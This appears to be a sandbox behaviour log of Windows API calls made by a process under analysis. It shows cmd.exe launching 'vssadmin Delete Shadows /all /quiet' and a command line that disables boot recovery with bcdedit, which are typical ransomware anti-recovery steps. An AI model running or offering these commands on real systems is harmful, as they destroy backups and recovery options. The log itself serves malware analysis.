	[0120.263] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x24f7e0 | out: lpFindFileData=0x24f7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Windows", cAlternateFileName="")) returned 0x278300
	[0120.263] FindClose (in: hFindFile=0x278300 | out: hFindFile=0x278300) returned 1
	[0120.264] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x24f7e0 | out: lpFindFileData=0x24f7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="System32", cAlternateFileName="")) returned 0x278300
	[0120.264] FindClose (in: hFindFile=0x278300 | out: hFindFile=0x278300) returned 1
	[0120.264] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0120.264] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0120.264] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0120.265] GetProcessHeap () returned 0x260000
	[0120.265] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27b6f0 | out: hHeap=0x260000) returned 1
	[0120.265] GetEnvironmentStringsW () returned 0x278a60*
	[0120.265] GetProcessHeap () returned 0x260000
	[0120.265] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xac4) returned 0x27ac50
	[0120.265] FreeEnvironmentStringsW (penv=0x278a60) returned 1
	[0120.265] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.265] GetProcessHeap () returned 0x260000
	[0120.265] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x2764f0 | out: hHeap=0x260000) returned 1
	[0120.265] GetProcessHeap () returned 0x260000
	[0120.265] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4016) returned 0x27cc60
	[0120.267] GetProcessHeap () returned 0x260000
	[0120.267] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x68) returned 0x278300
	[0120.267] GetProcessHeap () returned 0x260000
	[0120.267] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4010) returned 0x280c80
	[0120.268] GetProcessHeap () returned 0x260000
	[0120.268] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4010) returned 0x284ca0
	[0120.273] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0120.684] GetProcessHeap () returned 0x260000
	[0120.684] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x420) returned 0x27b720
	[0120.684] SetErrorMode (uMode=0x0) returned 0x8001
	[0120.684] SetErrorMode (uMode=0x1) returned 0x0
	[0120.685] GetFullPathNameW (in: lpFileName="vssadmin.exe Delete Shadows \\all \\.", nBufferLength=0x208, lpBuffer=0x27b730, lpFilePart=0x24f990 | out: lpBuffer="C:\\Windows\\system32\\vssadmin.exe Delete Shadows \\all", lpFilePart=0x24f990*="all") returned 0x34
	[0120.685] SetErrorMode (uMode=0x8001) returned 0x1
	[0120.685] GetProcessHeap () returned 0x260000
	[0120.685] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x27b720, Size=0x86) returned 0x27b720
	[0120.685] GetProcessHeap () returned 0x260000
	[0120.685] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27b720) returned 0x86
	[0120.686] NeedCurrentDirectoryForExePathW (ExeName="vssadmin.exe Delete Shadows \\all \\.") returned 1
	[0120.686] GetProcessHeap () returned 0x260000
	[0120.686] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x80) returned 0x27b7c0
	[0120.686] GetProcessHeap () returned 0x260000
	[0120.686] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xec) returned 0x27b850
	[0120.686] GetProcessHeap () returned 0x260000
	[0120.686] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x27b850, Size=0x80) returned 0x27b850
	[0120.686] GetProcessHeap () returned 0x260000
	[0120.686] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27b850) returned 0x80
	[0120.686] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.686] GetProcessHeap () returned 0x260000
	[0120.686] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xe8) returned 0x27b8e0
	[0120.697] GetProcessHeap () returned 0x260000
	[0120.697] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x27b8e0, Size=0x7e) returned 0x27b8e0
	[0120.697] GetProcessHeap () returned 0x260000
	[0120.698] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27b8e0) returned 0x7e
	[0120.698] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.698] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe Delete Shadows \\all\\quiet.*", fInfoLevelId=0x1, lpFindFileData=0x24f700, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f700) returned 0xffffffffffffffff
	[0120.698] GetLastError () returned 0x3
	[0120.699] GetProcessHeap () returned 0x260000
	[0120.699] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x280c80 | out: hHeap=0x260000) returned 1
	[0120.699] GetProcessHeap () returned 0x260000
	[0120.699] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x284ca0 | out: hHeap=0x260000) returned 1
	[0120.699] GetProcessHeap () returned 0x260000
	[0120.700] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cc60 | out: hHeap=0x260000) returned 1
	[0120.700] GetConsoleOutputCP () returned 0x1b5
	[0120.700] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0120.700] GetUserDefaultLCID () returned 0x409
	[0120.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a487b50, cchData=8 | out: lpLCData=":") returned 2
	[0120.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24fbe0, cchData=128 | out: lpLCData="0") returned 2
	[0120.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24fbe0, cchData=128 | out: lpLCData="0") returned 2
	[0120.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24fbe0, cchData=128 | out: lpLCData="1") returned 2
	[0120.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a49a740, cchData=8 | out: lpLCData="/") returned 2
	[0120.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a49a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0120.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a49a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0120.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a49a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0120.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a49a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0120.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a49a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0120.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a49a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0120.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a49a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0120.704] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a487b40, cchData=8 | out: lpLCData=".") returned 2
	[0120.704] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a49a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0120.704] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0120.706] GetProcessHeap () returned 0x260000
	[0120.706] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x20c) returned 0x27b9e0
	[0120.706] GetConsoleTitleW (in: lpConsoleTitle=0x27b9e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0120.707] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0120.707] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0120.707] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0120.708] GetProcessHeap () returned 0x260000
	[0120.708] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4012) returned 0x27cc60
	[0120.708] GetProcessHeap () returned 0x260000
	[0120.708] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cc60 | out: hHeap=0x260000) returned 1
	[0120.710] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77
	[0120.711] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16
	[0120.711] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16
	[0120.711] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13
	[0120.711] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13
	[0120.711] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4
	[0120.711] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4
	[0120.711] GetProcessHeap () returned 0x260000
	[0120.711] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xb0) returned 0x27bc00
	[0120.711] GetProcessHeap () returned 0x260000
	[0120.711] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x2764f0
	[0120.713] GetProcessHeap () returned 0x260000
	[0120.713] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x27bcc0
	[0120.715] GetConsoleTitleW (in: lpConsoleTitle=0x24faf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.717] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe")) returned 0x20
	[0120.976] _wcsicmp (_String1="vssadmin.exe", _String2="DIR") returned 18
	[0120.976] _wcsicmp (_String1="vssadmin.exe", _String2="ERASE") returned 17
	[0120.976] _wcsicmp (_String1="vssadmin.exe", _String2="DEL") returned 18
	[0120.976] _wcsicmp (_String1="vssadmin.exe", _String2="TYPE") returned 2
	[0120.976] _wcsicmp (_String1="vssadmin.exe", _String2="COPY") returned 19
	[0120.976] _wcsicmp (_String1="vssadmin.exe", _String2="CD") returned 19
	[0120.976] _wcsicmp (_String1="vssadmin.exe", _String2="CHDIR") returned 19
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="RENAME") returned 4
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="REN") returned 4
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="ECHO") returned 17
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="SET") returned 3
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="PAUSE") returned 6
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="DATE") returned 18
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="TIME") returned 2
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="PROMPT") returned 6
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="MD") returned 9
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="MKDIR") returned 9
	[0120.977] _wcsicmp (_String1="vssadmin.exe", _String2="RD") returned 4
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="RMDIR") returned 4
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="PATH") returned 6
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="GOTO") returned 15
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="SHIFT") returned 3
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="CLS") returned 19
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="CALL") returned 19
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="VERIFY") returned 14
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="VER") returned 14
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="VOL") returned 4
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="EXIT") returned 17
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="SETLOCAL") returned 3
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="ENDLOCAL") returned 17
	[0120.978] _wcsicmp (_String1="vssadmin.exe", _String2="TITLE") returned 2
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="START") returned 3
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="DPATH") returned 18
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="KEYS") returned 11
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="MOVE") returned 9
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="PUSHD") returned 6
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="POPD") returned 6
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="ASSOC") returned 21
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="FTYPE") returned 16
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="BREAK") returned 20
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="COLOR") returned 19
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="MKLINK") returned 9
	[0120.979] _wcsicmp (_String1="vssadmin.exe", _String2="DIR") returned 18
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="ERASE") returned 17
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="DEL") returned 18
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="TYPE") returned 2
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="COPY") returned 19
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="CD") returned 19
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="CHDIR") returned 19
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="RENAME") returned 4
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="REN") returned 4
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="ECHO") returned 17
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="SET") returned 3
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="PAUSE") returned 6
	[0120.980] _wcsicmp (_String1="vssadmin.exe", _String2="DATE") returned 18
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="TIME") returned 2
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="PROMPT") returned 6
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="MD") returned 9
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="MKDIR") returned 9
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="RD") returned 4
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="RMDIR") returned 4
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="PATH") returned 6
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="GOTO") returned 15
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="SHIFT") returned 3
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="CLS") returned 19
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="CALL") returned 19
	[0120.981] _wcsicmp (_String1="vssadmin.exe", _String2="VERIFY") returned 14
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="VER") returned 14
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="VOL") returned 4
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="EXIT") returned 17
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="SETLOCAL") returned 3
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="ENDLOCAL") returned 17
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="TITLE") returned 2
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="START") returned 3
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="DPATH") returned 18
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="KEYS") returned 11
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="MOVE") returned 9
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="PUSHD") returned 6
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="POPD") returned 6
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="ASSOC") returned 21
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="FTYPE") returned 16
	[0120.982] _wcsicmp (_String1="vssadmin.exe", _String2="BREAK") returned 20
	[0120.983] _wcsicmp (_String1="vssadmin.exe", _String2="COLOR") returned 19
	[0120.983] _wcsicmp (_String1="vssadmin.exe", _String2="MKLINK") returned 9
	[0120.983] _wcsicmp (_String1="vssadmin.exe", _String2="FOR") returned 16
	[0120.983] _wcsicmp (_String1="vssadmin.exe", _String2="IF") returned 13
	[0120.983] _wcsicmp (_String1="vssadmin.exe", _String2="REM") returned 4
	[0120.985] GetProcessHeap () returned 0x260000
	[0120.985] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x218) returned 0x27bd10
	[0120.985] GetProcessHeap () returned 0x260000
	[0120.985] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x62) returned 0x27bf30
	[0120.985] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0120.986] GetProcessHeap () returned 0x260000
	[0120.986] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x420) returned 0x261320
	[0120.986] SetErrorMode (uMode=0x0) returned 0x8001
	[0120.987] SetErrorMode (uMode=0x1) returned 0x0
	[0120.987] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x261330, lpFilePart=0x24f380 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24f380*="system32") returned 0x13
	[0120.987] SetErrorMode (uMode=0x8001) returned 0x1
	[0120.987] GetProcessHeap () returned 0x260000
	[0120.987] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x261320, Size=0x52) returned 0x261320
	[0120.987] GetProcessHeap () returned 0x260000
	[0120.987] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x261320) returned 0x52
	[0120.987] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.987] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0120.988] GetProcessHeap () returned 0x260000
	[0120.988] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x104) returned 0x27bfa0
	[0120.988] GetProcessHeap () returned 0x260000
	[0120.988] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1f8) returned 0x261390
	[0120.990] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x261390, Size=0x106) returned 0x261390
	[0120.990] GetProcessHeap () returned 0x260000
	[0120.991] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x261390) returned 0x106
	[0120.991] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.991] GetProcessHeap () returned 0x260000
	[0120.991] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xe8) returned 0x2614b0
	[0120.991] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x2614b0, Size=0x7e) returned 0x2614b0
	[0120.991] GetProcessHeap () returned 0x260000
	[0120.991] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x2614b0) returned 0x7e
	[0120.991] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.991] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x24f0f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f0f0) returned 0x27c0b0
	[0120.992] GetProcessHeap () returned 0x260000
	[0120.992] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x28) returned 0x2745b0
	[0120.992] FindClose (in: hFindFile=0x27c0b0 | out: hFindFile=0x27c0b0) returned 1
	[0120.992] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0120.992] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0120.992] GetConsoleTitleW (in: lpConsoleTitle=0x24f640, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0121.026] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f3f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f3b8 | out: lpAttributeList=0x24f3f8, lpSize=0x24f3b8) returned 1
	[0121.026] UpdateProcThreadAttribute (in: lpAttributeList=0x24f3f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f3a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f3f8, lpPreviousValue=0x0) returned 1
	[0121.026] GetStartupInfoW (in: lpStartupInfo=0x24f510 | out: lpStartupInfo=0x24f510*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0121.026] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0121.030] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x24f430*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe  Delete Shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f3e0 | out: lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessInformation=0x24f3e0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb94, dwThreadId=0x32c)) returned 1
	[0121.050] CloseHandle (hObject=0x50) returned 1
	[0121.050] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0121.050] GetProcessHeap () returned 0x260000
	[0121.050] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ac50 | out: hHeap=0x260000) returned 1
	[0121.050] GetEnvironmentStringsW () returned 0x27ac50*
	[0121.050] GetProcessHeap () returned 0x260000
	[0121.050] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xac4) returned 0x278a60
	[0121.051] FreeEnvironmentStringsW (penv=0x27ac50) returned 1
	[0121.051] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0140.089] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24f328 | out: lpExitCode=0x24f328*=0x2) returned 1
	[0155.495] CloseHandle (hObject=0x54) returned 1
	[0155.495] _vsnwprintf (in: _Buffer=0x24f598, _BufferCount=0x13, _Format="%08X", _ArgList=0x24f338 | out: _Buffer="00000002") returned 8
	[0155.495] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0155.495] GetProcessHeap () returned 0x260000
	[0155.495] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x278a60 | out: hHeap=0x260000) returned 1
	[0155.496] GetEnvironmentStringsW () returned 0x27c0d0*
	[0155.496] GetProcessHeap () returned 0x260000
	[0155.496] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xaea) returned 0x278a60
	[0155.496] FreeEnvironmentStringsW (penv=0x27c0d0) returned 1
	[0155.496] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0155.496] GetProcessHeap () returned 0x260000
	[0155.496] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x278a60 | out: hHeap=0x260000) returned 1
	[0155.496] GetEnvironmentStringsW () returned 0x27c0d0*
	[0155.496] GetProcessHeap () returned 0x260000
	[0155.496] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xaea) returned 0x278a60
	[0155.497] FreeEnvironmentStringsW (penv=0x27c0d0) returned 1
	[0155.497] GetProcessHeap () returned 0x260000
	[0155.497] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c0b0 | out: hHeap=0x260000) returned 1
	[0155.497] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f3f8 | out: lpAttributeList=0x24f3f8) 
	[0155.497] _get_osfhandle (_FileHandle=1) returned 0x7
	[0155.497] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0155.498] _get_osfhandle (_FileHandle=1) returned 0x7
	[0155.498] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0155.499] _get_osfhandle (_FileHandle=0) returned 0x3
	[0155.499] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0155.500] SetConsoleInputExeNameW () returned 0x1
	[0155.500] GetConsoleOutputCP () returned 0x1b5
	[0155.500] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0155.501] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0155.501] exit (_Code=2) 

Process:
	id = "15"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x31196000"
	os_pid = "0x304"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 99
	os_tid = 0xb18

	[0119.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f970 | out: lpSystemTimeAsFileTime=0x20f970*(dwLowDateTime=0x1949abd0, dwHighDateTime=0x1d5cdef)) 
	[0119.902] GetCurrentProcessId () returned 0x304
	[0119.902] GetCurrentThreadId () returned 0xb18
	[0119.902] GetTickCount () returned 0x1164b53
	[0119.902] QueryPerformanceCounter (in: lpPerformanceCount=0x20f978 | out: lpPerformanceCount=0x20f978*=26165535784) returned 1
